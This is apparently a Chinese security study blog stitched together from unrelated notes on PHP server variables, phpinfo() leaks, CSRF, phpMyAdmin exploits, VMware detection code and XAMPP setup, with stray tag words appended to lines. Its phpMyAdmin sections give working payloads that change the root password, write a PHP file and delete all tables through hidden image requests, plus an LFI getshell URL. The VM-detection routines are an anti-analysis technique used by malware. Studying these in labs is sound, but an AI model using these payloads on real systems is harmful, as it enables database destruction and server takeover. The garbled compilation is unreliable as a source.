PHP開放源碼和跨越平臺,PHP能夠運行在WINDOWS和多種版本的LINUX上。它不須要任何預先處理而快速反饋結果,它也不須要mod_perl的調整來使您的服務器的內存映象減少。PHP消耗的資源較少,當PHP做爲ApacheWeb服務器一部分時,運行代碼不須要調用外部二進制程序,服務器不須要承擔任何額外的負擔。php
$_SERVER['HTTP_ACCEPT_LANGUAGE']//瀏覽器語言 $_SERVER['REMOTE_ADDR'] //當前用戶 IP 。 $_SERVER['REMOTE_HOST'] //當前用戶主機名 $_SERVER['REQUEST_URI'] //URL $_SERVER['REMOTE_PORT'] //端口。 $_SERVER['SERVER_NAME'] //服務器主機的名稱。 $_SERVER['PHP_SELF']//正在執行腳本的文件名 $_SERVER['argv'] //傳遞給該腳本的參數。 $_SERVER['argc'] //傳遞給程序的命令行參數的個數。 $_SERVER['GATEWAY_INTERFACE']//CGI 規範的版本。 $_SERVER['SERVER_SOFTWARE'] //服務器標識的字串 $_SERVER['SERVER_PROTOCOL'] //請求頁面時通訊協議的名稱和版本 $_SERVER['REQUEST_METHOD']//訪問頁面時的請求方法 $_SERVER['QUERY_STRING'] //查詢(query)的字符串。 $_SERVER['DOCUMENT_ROOT'] //當前運行腳本所在的文檔根目錄 $_SERVER['HTTP_ACCEPT'] //當前請求的 Accept: 頭部的內容。 $_SERVER['HTTP_ACCEPT_CHARSET'] //當前請求的 Accept-Charset: 頭部的內容。 $_SERVER['HTTP_ACCEPT_ENCODING'] //當前請求的 Accept-Encoding: 頭部的內容 $_SERVER['HTTP_CONNECTION'] //當前請求的 Connection: 頭部的內容。例如:「Keep-Alive」。 $_SERVER['HTTP_HOST'] //當前請求的 Host: 頭部的內容。 $_SERVER['HTTP_REFERER'] //連接到當前頁面的前一頁面的 URL 地址。 $_SERVER['HTTP_USER_AGENT'] //當前請求的 User_Agent: 頭部的內容。 $_SERVER['HTTPS']//若是經過https訪問,則被設爲一個非空的值(on),不然返回off $_SERVER['SCRIPT_FILENAME'] #當前執行腳本的絕對路徑名。 $_SERVER['SERVER_ADMIN'] #管理員信息 $_SERVER['SERVER_PORT'] #服務器所使用的端口 $_SERVER['SERVER_SIGNATURE'] #包含服務器版本和虛擬主機名的字符串。 $_SERVER['PATH_TRANSLATED'] #當前腳本所在文件系統(不是文檔根目錄)的基本路徑。 $_SERVER['SCRIPT_NAME'] #包含當前腳本的路徑。這在頁面須要指向本身時很是有用。 $_SERVER['PHP_AUTH_USER'] #當 PHP 運行在 Apache 模塊方式下,而且正在使用 HTTP 認證功能,這個變量即是用戶輸入的用戶名。 $_SERVER['PHP_AUTH_PW'] #當 PHP 運行在 Apache 模塊方式下,而且正在使用 HTTP 認證功能,這個變量即是用戶輸入的密碼。 $_SERVER['AUTH_TYPE'] #當 PHP 運行在 Apache 模塊方式下,而且正在使用 HTTP 認證功能,這個變量即是認證的類型
if('/'==DIRECTORY_SEPARATOR){ $server_ip=$_SERVER['SERVER_ADDR']; }else{ $server_ip=@gethostbyname($_SERVER['SERVER_NAME']); } echo $server_ip;
/** * 獲取服務器端IP地址 * @return string */ function get_server_ip(){ if(isset($_SERVER)){ if($_SERVER['SERVER_ADDR']){ $server_ip=$_SERVER['SERVER_ADDR']; }else{ $server_ip=$_SERVER['LOCAL_ADDR']; } }else{ $server_ip = getenv('SERVER_ADDR'); } return $server_ip; } echo get_server_ip();
這一部分很是很是重要html
PHP中提供了PHPInfo()函數,該函數返回 PHP 的全部信息,包括了 PHP 的編譯選項及擴充配置、PHP 版本、服務器信息及環境變量、PHP 環境變量、操做系統版本信息、路徑及環境變量配置、HTTP 標頭、及版權宣告等信息。java
PHPInfo()函數主要用於網站建設過程當中測試搭建的PHP環境是否正確,不少網站在測試完畢後並無及時刪除,所以當訪問這些測試頁面時,會輸出服務器的關鍵信息,==這些信息的泄露將致使服務器被滲透的風險==python
(1)語法:int phpinfo(void);
他的返回值是一個整數
(2)使用方式:列如新建一個.php文件vi test.php
輸入:<?php phpinfo(); ?>
mysql
來看一下泄漏了哪些比較敏感的信息。
1.++絕對路徑(_SERVER[「script_FILENAME」])++
找到phpinfo()頁面能夠直接找到網站的絕對路徑,對於寫shell和信息蒐集是必不可少的。
ep1:(PHP $_SERVER['SCRIPT_FILENAME'] 與 FILE)git
<?php echo 'SCRIPT_FILENAME 爲:',$_SERVER['SCRIPT_FILENAME']; echo '<br />'; echo '__FILE__ 爲:',__FILE__; ?>
上述測試代碼拷貝至 test.php 並訪問該文件(http://localhost/test.php),獲得以下結果:github
SCRIPT_FILENAME 爲:E:/web/html/php/test.php __FILE__ 爲:E:\web\html\php\test.php
2.++支持的程序++
能夠經過phpinfo()
查看一些特殊的程序服務,在沒有思路的狀況下,能夠着重找一下ssrfweb
3.++泄漏真實ip(_SERVER[「SERVER_ADDR」]或SERVER_ADDR)++sql
4.++泄漏緩存文件地址(_FILES[「file1」])++
向phpinfo() post一個shell能夠在_FILES[「file1」]中看到上傳的臨時文件,若是有個lfi,即可以直接getshell了。shell
5.++一些敏感配置++
allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等。
好比allow_url_include可用來遠程文件包含、disable_functions用來查看禁用函數,繞過執行、查看是否開啓open_basedir,用p牛的繞過open_basedir的方法有可能能讀一些沒權限的目錄等等。
咱們簡單用圖片說明一下
咱們能夠看到PHP的版本
加載的php.ini文件,咱們是能夠看到該文件的路徑的
還有就是php的zend(通常用於加密/提升性能)的版本和zend optimizers(一個爲加速php腳本的執行,第二爲給用zend加密的文件解密)的版本
PS:若是php的腳本沒有通過加密,那麼zend optimizer能夠不用安裝!
論壇文件目錄中的api裏面的一些文件是通過加密的,
supesite( SupeSite能夠實現對站內的論壇(Discuz!)、我的空間(X-Space)信息進行內容聚合。任何站長,均可以經過SupeSite,輕鬆構建一個面向Web2.0的社區門戶。)的主程序的文件也是通過加密的,因此對於論壇來講,若是你想使用支付寶,奇虎搜索什麼的,就必須安裝zend optimizers,若是你想要安裝supesite,必須得安裝好zend optimizer!
關於zend optimizer的加速功能,通常可讓php的執行速度提升到30%左右!
因此若是是獨立主機用戶,最好是將zend optimizer安裝上,這樣不只能夠起到加速的做用,並且可使你的空間徹底
支持論壇和supesite!
PS:
簡單介紹一下安裝過程
下載安裝包後,直接雙擊安裝便可,安裝過程要你選擇 Web Server 時,選擇 Apache 2.x ,而後提示你是否 Restart Web Server,選擇是,完成安裝以前提示是否備份 php.ini ,點肯定後安裝完成。
Zend Optimizer 的加密做用
咱們本身寫一個php文件,裏面就1行代碼
<?php phpinfo(); ?>
把它保存爲phpinfo.php,上傳到服務器上,而後訪問這個 PHP 文件。
若是看到裏面有 Zend Optimizer 的版本信息。就說明服務器上支持 Zend Optimizer。版本信息通常是這樣的:
with Zend Optimizer v版本號, Copyright (c) 1998-2007, by Zend Technologies
只要包含有 with Zend Optimizer,說明服務器支持 Zend Optimizer
上面指出zend的內核版本,下面指出zend optimizers版本,要使用咱們的SupeSite產品,必須還得安裝後者。固然zend optimizers安裝時候,在頁面裏還有專門有一個zend optimizers模塊,見圖5
加載的模塊
phpinfo會列出你的系統的php加載了哪些模塊,而後下面介紹幾個比較重要的模塊,第一個是gd庫模塊,不少用戶不知道他的空間或者系統是否支持gd庫,因此不肯定是否能夠用水印和縮略圖功能,在phpinfo頁面,一樣能夠展現gd庫的信息,包括版本,freetype庫,gif支持,jpg支持,png支持等等,這些都是頗有用的信息,好比支持水印圖片爲gif的,那你的gd庫就有得gig支持。如圖所示:
mysql模塊
第二個重要的就是mysql模塊。不少用戶認爲只要成功安裝mysql,他就能夠安裝Discuz!論壇了,其實這
是一個誤區,由於你沒有確認你的php是否加載上了mysql支持。phpinfo就能夠很好的檢驗到。若是你的
phpinfo頁面沒有列出mysql模塊擴展,那說明你的環境沒有配置好
擴展模塊
php的其餘擴展模塊吧,好比mbstring,是支持寬字符集;ftp,這是支持Discuz!論壇後臺的ftp附件,還有就是socket,這個是有些安裝了supesite播客的用戶支持影音上傳的;ming,是支持Discuz!後臺的Flash 驗證碼的。
phpinfo實在是一個很好的檢驗php環境的工具,你們若是遇到問題,不妨按照咱們上面的,看看是否是哪些模塊沒加載上,若是訪問phpinfo頁面的時候變成了下載,那是你的php自己就沒安好
CSRF 跨站點請求僞造(Cross—Site Request Forgery)。
個人理解就是:攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做,好比以你的名義發送郵件、發消息,盜取你的帳號,添加系統管理員,甚至於購買商品、虛擬貨幣轉帳等。
原理圖:
圖CSRF原理圖
這是一種對網站的惡意利用,CSRF比XSS更具危險性。想要深刻理解CSRF的攻擊特性咱們有必要了解一下網站session的工做原理。
session,中文常常翻譯爲會話,其原本的含義是指善始善終的一系列動做/消息,好比打電話時從拿起電話撥號到掛斷電話這中間的一系列過程能夠稱之爲一個session。有時候咱們能夠看到這樣的話「在一個瀏覽器會話期間,...」,這裏的會話一詞用的就是其本義,是指從一個瀏覽器窗口打開到關閉這個期間①。最混亂的是「用戶(客戶端)在一次會話期間」這樣一句話,它可能指用戶的一系列動做(通常狀況下是同某個具體目的相關的一系列動做,好比從登陸到選購商品到結帳登出這樣一個網上購物的過程,有時候也被稱爲一個transaction),然而有時候也可能僅僅是指一次鏈接,也有多是指含義。
然而當session一詞與網絡協議相關聯時,它又每每隱含了「面向鏈接」和/或「保持狀態」這樣兩個含義,「面向鏈接」指的是在通訊雙方在通訊以前要先創建一個通訊的渠道,好比打電話,直到對方接了電話通訊才能開始,與此相對的是寫信,在你把信發出去的時候你並不能確認對方的地址是否正確,通訊渠道不必定能創建,但對發信人來講,通訊已經開始了。「保持狀態」則是指通訊的一方可以把一系列的消息關聯起來,使得消息之間能夠互相依賴,好比一個服務員可以認出再次光臨的老顧客而且記得上次這個顧客還欠店裏一塊錢。這一類的例子有「一個TCP session」或者「一個POP3 session」③。
session在web開發語境下的語義又有了新的擴展,它的含義是指一類用來在客戶端與服務器之間保持狀態的解決方案④。有時候session也用來指這種解決方案的存儲結構,如「把xxx保存在session裏」⑤。因爲各類用於web開發的語言在必定程度上都提供了對這種解決方案的支持,因此在某種特定語言的語境下,session也被用來指代該語言的解決方案,好比常常把Java裏提供的javax.servlet.http.HttpSession簡稱爲session。
HTTP協議自己是無狀態的,這與HTTP協議原本的目的是相符的,客戶端只須要簡單的向服務器請求下載某些文件,不管是客戶端仍是服務器都沒有必要紀錄彼此過去的行爲,每一次請求之間都是獨立的。
人們發現提供一些按需生成的動態信息會使web變得更加有用,就像給有線電視加上點播功能同樣。這種需求一方面迫使HTML逐步添加了表單、腳本、DOM等客戶端行爲,另外一方面在服務器端則出現了CGI規範以響應客戶端的動態請求,做爲傳輸載體的HTTP協議也添加了文件上載、cookie這些特性。其中cookie的做用就是爲了解決HTTP協議無狀態的缺陷所做出的努力。至於後來出現的session機制則是又一種在客戶端與服務器之間保持狀態的解決方案。
具體來講cookie機制採用的是在客戶端保持狀態的方案,而session機制採用的是在服務器端保持狀態的方案。同時咱們也看到,因爲採用服務器端保持狀態的方案在客戶端也須要保存一個標識,因此session機制可能須要藉助於cookie機制來達到保存標識的目的,
咱們舉個簡單的例子:
一、該店的店員很厲害,能記住每位顧客的消費數量,只要顧客一走進咖啡店,店員就知道該怎麼對待了。這種作法就是協議自己支持狀態。 (HTTP協議是無狀態的,而出於種種考慮也不但願使之成爲有狀態的)
二、發給顧客一張卡片,上面記錄着消費的數量,通常還有個有效期限。每次消費時,若是顧客出示這張卡片,則這次消費就會與之前或之後的消費相聯繫起來。這種作法就是在客戶端保持狀態。
三、發給顧客一張會員卡,除了卡號以外什麼信息也不紀錄,每次消費時,若是顧客出示該卡片,則店員在店裏的紀錄本上找到這個卡號對應的紀錄添加一些消費信息。這種作法就是在服務器端保持狀態。
正統的cookie分發是經過擴展HTTP協議來實現的,服務器經過在HTTP的響應頭中加上一行特殊的指示以提示瀏覽器按照指示生成相應的cookie。(純粹的客戶端腳本如JavaScript或者VBScript也能夠生成cookie。)
而cookie的使用是由瀏覽器按照必定的原則在後臺自動發送給服務器的。瀏覽器檢查全部存儲的cookie,若是某個cookie所聲明的做用範圍大於等於將要請求的資源所在的位置,則把該cookie附在請求資源的HTTP請求頭上發送給服務器。
cookie的內容主要包括:名字,值,過時時間,路徑和域。
session機制是一種服務器端的機制,服務器使用一種相似於散列表(PS :根據關鍵碼值(Key value)而直接進行訪問的數據結構。也就是說,它經過把關鍵碼值映射到表中一個位置來訪問記錄,以加快查找的速度。)的結構(也可能就是使用散列表)來保存信息。
當程序須要爲某個客戶端的請求建立一個session的時候,服務器首先檢查這個客戶端的請求裏是否已包含了一個session標識 - 稱爲session id,若是已包含一個session id則說明之前已經爲此客戶端建立過session,服務器就按照session id把這個session檢索出來使用(若是檢索不到,可能會新建一個),若是客戶端請求不包含session id,則爲此客戶端建立一個session而且生成一個與此session相關聯的session id,session id的值應該是一個既不會重複,又不容易被找到規律以仿造的字符串,這個session id將被在本次響應中返回給客戶端保存。
保存這個session id的方式能夠採用cookie,這樣在交互過程當中瀏覽器能夠自動的按照規則把這個標識發揮給服務器。通常這個cookie的名字都是相似於SEEESION ID.
EP:weblogic對於web應用程序生成的cookie
JSESSIONID=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
的名字就是JSESSIONID。
http://...../xxx;jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcE
http://...../xxx?jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
更詳細的session應用問題咱們能夠參考博客:https://www.cnblogs.com/lonelydreamer/p/6169469.html
因此咱們總結一下CSRF攻擊步驟:
用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登陸網站A;
在用戶信息經過驗證後,網站A產生Cookie信息並返回給瀏覽器,此時用戶登陸網站A成功,能夠正常發送請求到網站A;
用戶未退出網站A以前,在同一瀏覽器中,打開一個TAB頁訪問網站B;
網站B接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問第三方站點A;
瀏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在用戶不知情的狀況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求實際上是由B發起的,因此會根據用戶C的Cookie信息以C的權限處理該請求,致使來自網站B的惡意代碼被執行。
網上看到一個很形象的例子:(CSRF實例攻擊)
受害者 Bob 在銀行有一筆存款,經過對銀行的網站發送請求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可使 Bob 把 1000000 的存款轉到 bob2 的帳號下。一般狀況下,該請求發送到網站後,服務器會先驗證該請求是否來自一個合法的 session,而且該 session 的用戶 Bob 已經成功登錄。
黑客 Mallory 本身在該銀行也有帳戶,他知道上文中的 URL 能夠把錢進行轉賬操做。Mallory 能夠本身發送一個請求給銀行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。可是這個請求來自 Mallory 而非 Bob,他不能經過安全認證,所以該請求不會起做用。
這時,Mallory 想到使用 CSRF 的攻擊方式,他先本身作一個網站,在網站中放入以下代碼: src=」http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory 」,而且經過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時,上述 url 就會從 Bob 的瀏覽器發向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一塊兒發向銀行服務器。大多數狀況下,該請求會失敗,由於他要求 Bob 的認證信息。可是,若是 Bob 當時恰巧剛訪問他的銀行後不久,他的瀏覽器與銀行網站之間的 session 還沒有過時,瀏覽器的 cookie 之中含有 Bob 的認證信息。這時,悲劇發生了,這個 url 請求就會獲得響應,錢將從 Bob 的帳號轉移到 Mallory 的帳號,而 Bob 當時絕不知情。等之後 Bob 發現帳戶錢少了,即便他去銀行查詢日誌,他也只能發現確實有一個來自於他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 Mallory 則能夠拿到錢後逍遙法外。
隨着對CSRF漏洞研究的不斷深刻,不斷涌現出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder等。
CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。
如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情。
經過 referer、token 或者 驗證碼 來檢測用戶提交。
儘可能不要在頁面的連接中暴露用戶隱私信息。
對於用戶修改刪除等操做最好都使用post 操做。
避免全站通用的cookie,嚴格設置cookie的域。
phpMyAdmin是一個以PHP(一種開源腳本語言)爲基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。藉由此Web接口能夠成爲一個簡易方式輸入繁雜SQL語法的較佳途徑,尤爲要處理大量資料的匯入及匯出更爲方便。其中一個更大的優點在於因爲phpMyAdmin跟其餘PHP程式同樣在網頁服務器上執行,可是您能夠在任何地方使用這些程式產生的HTML頁面,也就是於遠端管理MySQL數據庫,方便的創建、修改、刪除數據庫及資料表。也可藉由phpMyAdmin創建經常使用的php語法,方便編寫網頁時所須要的sql語法正確性
phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者能夠經過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。
咱們能夠結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。
在線 phpMyAdmin CSRF
(PS:注:重啓演示靶機便可重置靶機)
點擊 建立VulnSpy 提供的建立靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)
跳轉到 VSPlate 後,直接點擊GO按鈕,便會自動建立一個 phpMyAdmin 環境
打開演示地址的連接,咱們的 phpMyAdmin 就建立完成了。
使用賬號 root ,密碼 toor ,登陸 phpMyAdmin 。根據頁面信息,咱們能夠發現當前 phpMyAdmin 的版本爲 4.7.6,恰好匹配存在漏洞的 phpMyAdmin 版本。
若是要利用CSRF來刪除或修改數據庫內容,通查狀況下須要提早知道數據庫名、表名和字段名。這樣利用顯得有點複雜,成功率也有限,所以我作了兩個幾種較爲通用的利用方式。
在MySQL中支持使用SQL語句來修改當前用戶密碼。好比將當前用戶密碼修改成www.vulnspy.com
,對應的SQL語句爲:
SET passsword=PASSWORD('www.vulnspy.com');
用賬號 root 密碼 toor 登陸 phpMyAdmin 。
首先創建一個html文件:vi 2.payload.html
簡單一點就只讓他顯示helloworld吧,由於目的是讓他打開,內容不重要。
代碼以下:
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
緊接着咱們回到2.1中打開的界面,發現已自動退出,並且用原來的密碼 toor 已經沒法登陸
MySQL支持將查詢結果寫到文件當中,咱們能夠利用該特性來寫入++PHP++文件。好比將代碼<?php phpinfo();?>
寫到文件/var/www/html/test.php中,對應的SQL語句爲:
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
如何作到大範圍破壞,併產生直接影響呢,咱們能夠利用SQL語句來清空當前MySQL用戶可操做的全部數據表。
1)獲取數據名和表名
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
2)將其拼接成刪除語句,經過 execute 來執行生成的刪除語句:
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1); prepare stmt from @del; execute stmt;
3)execute 一次只能執行一條SQL語句,所以咱們能夠利用循環語句來逐一執行
DROP PROCEDURE IF EXISTS EMPT; DELIMITER $$ CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0; WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1); PREPARE STMT FROM @del; EXECUTE STMT; SET i = i +1; END WHILE; END $$ DELIMITER ; CALL EMPT();
<p>Hello World</p> <img src="虛擬地址/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
哎??咱們發現:數據庫vulnspy_tables和數據庫vulnspy_test中的數據已經被清空。
ChaMd5安全團隊公開了一個phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1後臺getshell。該漏洞利用不要求root賬號,只需可以登陸 phpMyAdmin 便可以利用。
這一部分咱們須要先了解一下LFI漏洞(本地文件包含漏洞)
<!–?php include($_GET['pages'].‘.php’); ?–>
主要涉及到的函數有:
include(),require()、include_once(),require_once()
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and max_input_time()等
利用總結見:LFI漏洞利用總結
咱們繼續使用VulnSpy的在線 phpMyAdmin 環境來演示該漏洞的利用。
簡而言之phpMyAdmin 4.8.x 本地文件包含漏洞就是經過編碼繞過白名單檢測。而後編者又發現:把WebShell當作數據表的字段值是能夠完美的寫入到數據庫文件當中的!
跟上一個漏洞同樣,咱們建立完成後進行登陸:
select '<?php phpinfo();exit;?>'
這樣對應的SESSION文件爲/var/lib/php/sessions/sess_SESSION ID。
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
bool CheckVMware1() { __asm { rdtsc xchg ebx, eax rdtsc sub eax, ebx cmp eax, 0xFF jg detected } return FALSE; detected: return TRUE; }
HKEY_CLASSES_ROOT\\Applications\\VMwareHostOpen.exe
。bool CheckVMware2() { HKEY hkey; if (RegOpenKey(HKEY_CLASSES_ROOT, "\\Applications\\VMwareHostOpen.exe", &hkey) == ERROR_SUCCESS) { return TRUE; } else { return FALSE; } }
vmtoolsd.exe
。bbool CheckVMware3() { PROCESSENTRY32 pe32; //存放快照進程信息的一個結構體 pe32.dwSize = sizeof(pe32); //在使用這個結構以前,先設置它的大小 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //給系統內的全部進程拍一個快照 if (hProcessSnap == INVALID_HANDLE_VALUE) { return FALSE; } bool bMore = Process32First(hProcessSnap, &pe32); while (bMore) { if (strcmp((const char *)pe32.szExeFile, "vmtoolsd.exe") == 0) { return TRUE; } bMore = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); return FALSE; }
C:\Program Files\VMware\VMware Tools\
。bool CheckVMware4() { if (PathIsDirectory("C:\\Program Files\\VMware\\VMware Tools\\") == 0) { return FALSE; } else { return TRUE; } }
bool CheckVMware5() { //打開系統服務控制器 SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE); if (SCMan == NULL) { printf("%ld", GetLastError()); printf("OpenSCManager Eorror/n"); return -1; } //保存系統服務的結構 LPENUM_SERVICE_STATUSA service_status; DWORD cbBytesNeeded = NULL; DWORD ServicesReturned = NULL; DWORD ResumeHandle = NULL; service_status = (LPENUM_SERVICE_STATUSA)LocalAlloc(LPTR, 1024 * 64); //獲取系統服務的簡單信息 bool ESS = EnumServicesStatusA(SCMan, //系統服務句柄 SERVICE_WIN32, //服務的類型 SERVICE_STATE_ALL, //服務的狀態 (LPENUM_SERVICE_STATUSA)service_status, //輸出參數,系統服務的結構 1024 * 64, //結構的大小 &cbBytesNeeded, //輸出參數,接收返回所需的服務 &ServicesReturned, //輸出參數,接收返回服務的數量 &ResumeHandle); //輸入輸出參數,第一次調用必須爲0,返回爲0表明成功 if (ESS == NULL) { printf("EnumServicesStatus Eorror/n"); return -1; } for (int i = 0; i < ServicesReturned; i++) { if (strstr(service_status[i].lpDisplayName, "VMware Tools") != NULL || strstr(service_status[i].lpDisplayName, "VMware 物理磁盤助手服務") != NULL) { return TRUE; } } //關閉服務管理器的句柄 CloseServiceHandle(SCMan); return FALSE; }
int main() { int n; bool result; while (1) { printf("虛擬機檢測技術:\n"); printf("1. 基於CPU運算時間的檢測\n"); printf("2. 基於註冊表的檢測\n"); printf("3. 基於當前進程信息的檢測\n"); printf("4. 基於特定文件的檢測\n"); printf("5. 基於註冊服務的檢測\n"); printf("0. 退出\n"); printf("請選擇:"); scanf("%d", &n); flushall(); printf("檢測結果:"); switch (n) { case 0: return 0; case 1: result = CheckVMware1(); break; case 2: result = CheckVMware2(); break; case 3: result = CheckVMware3(); break; case 4: result = CheckVMware4(); break; case 5: result = CheckVMware5(); break; default:printf("輸入錯誤,請從新輸入!\n"); Sleep(2000); system("cls"); continue; } if (result) printf("yes!\n"); else printf("no!\n"); printf("按任意鍵返回主菜單\n"); getch(); flushall(); system("cls"); } return 0; }
主要編寫2個文件:checkvm.dll
與testvm.exe
,下面分2部分詳細介紹。
checkvm.h
、checkvm.cpp
、dllmain.cpp
、Source.def
bool chekvm();
bool checkvm() { int num = 0; if (CheckVMware1()) num++; if (CheckVMware2()) num++; if (CheckVMware3()) num++; if (CheckVMware4()) num++; if (CheckVMware5()) num++; if (num >= 4) { printf("This is a virtual machine!\n"); return FALSE; } else { printf("This is not a virtual machine!\n"); return TRUE; } }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
LIBRARY "checkvm" EXPORTS checkvm @1
checkvm.dll
所編寫,調用checkvm.dll
中的checkvm()
函數便可,詳細代碼以下:int main() { HMODULE hmod = LoadLibrary("checkvm.dll"); //用於加載dll typedef int(*LoadProc)(); LoadProc Load_proc = (LoadProc)GetProcAddress(hmod, "checkvm"); //GetProcAddress()用於得到函數地址 int iRet = Load_proc(); getchar(); return 0; }
checkvm.dll
便可。XAMPP是最流行的PHP開發環境。 XAMPP是徹底免費且易於安裝的Apache發行版,其中包含Apache、MariaDB、PHP和Perl。
相似XAMPP的服務器套件還有不少,我用過的還有UPUPW,它們都極大的簡化了開發環境的配置。
十六款免費的服務器套件的介紹介紹了主流的免費服務器開發套件。
xampp下載地址:http://www.xampp.cc/
安裝沒什麼好說的,「下一步」直到安裝完成。
雙擊xampp安裝目錄下的xampp-control.exe,打開xampp控制面板。
點擊Apache的「Start」按鈕,啓動Apache服務。 Apache服務的端口默認是80和443,若是電腦上裝有虛擬機,443端口會被虛擬機佔用,致使Apache服務啓動失敗。這種狀況的修改方法以下:
① 打開任務管理器,找到找到vmware-hostd.exe進程,結束它。
② 打開VMware虛擬機,選擇菜單「編輯」——>"首選項",以下圖所示。
至於如何查看哪一個程序佔用了哪一個端口,能夠點xampp控制面板右側的「Netstat」按鈕,也能夠在命令提示符窗口輸入netstat -ano指令來查看這幾個端口是否被佔用。若佔用,記住PID,而後在任務管理器裏對於相應的PID,結束便可。若是任務管理器的列表中沒有PID這一列,點擊任務管理器的菜單「查看」——>「選擇列」,勾選PID便可。
比較通用的修改方法以下: (這種方法直接改xampp的配置文件。)
①若是80端口被佔用
將xampp\apache\conf這個目錄下的httpd.conf 文件中 全部80換成其餘值。
將xampp\apache\conf\extra這個目錄下的 httpd-vhosts.conf 全部80換成其餘值。
②若是是443端口被佔用
將XAMPP\apache\conf\extra這個目錄下的httpd-ssl.conf 全部443換成其餘值。
點擊MySQL的「Start」按鈕,啓動MySQL服務。 (若是電腦上以前安裝過MySQL,xampp的MySQL服務啓動失敗) 正確的修改方法是: ①在命令提示符窗口輸入regedit指令,打開註冊表編輯器。
②找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL,將ImagePath的數據修改爲xampp中mysq的位置,再次點擊MySQL的 「Start」按鈕,mysql服務正常啓動。
若是MySQL的默認端口3306被佔用,修改方法以下:
①修改佔用該端口的外部程序,修改方法前面說過。 或者
②點擊MySQL的 「Config」按鈕,選擇「my.ini」,打開該配置文件,並將其中的3306改爲其餘值。
測試
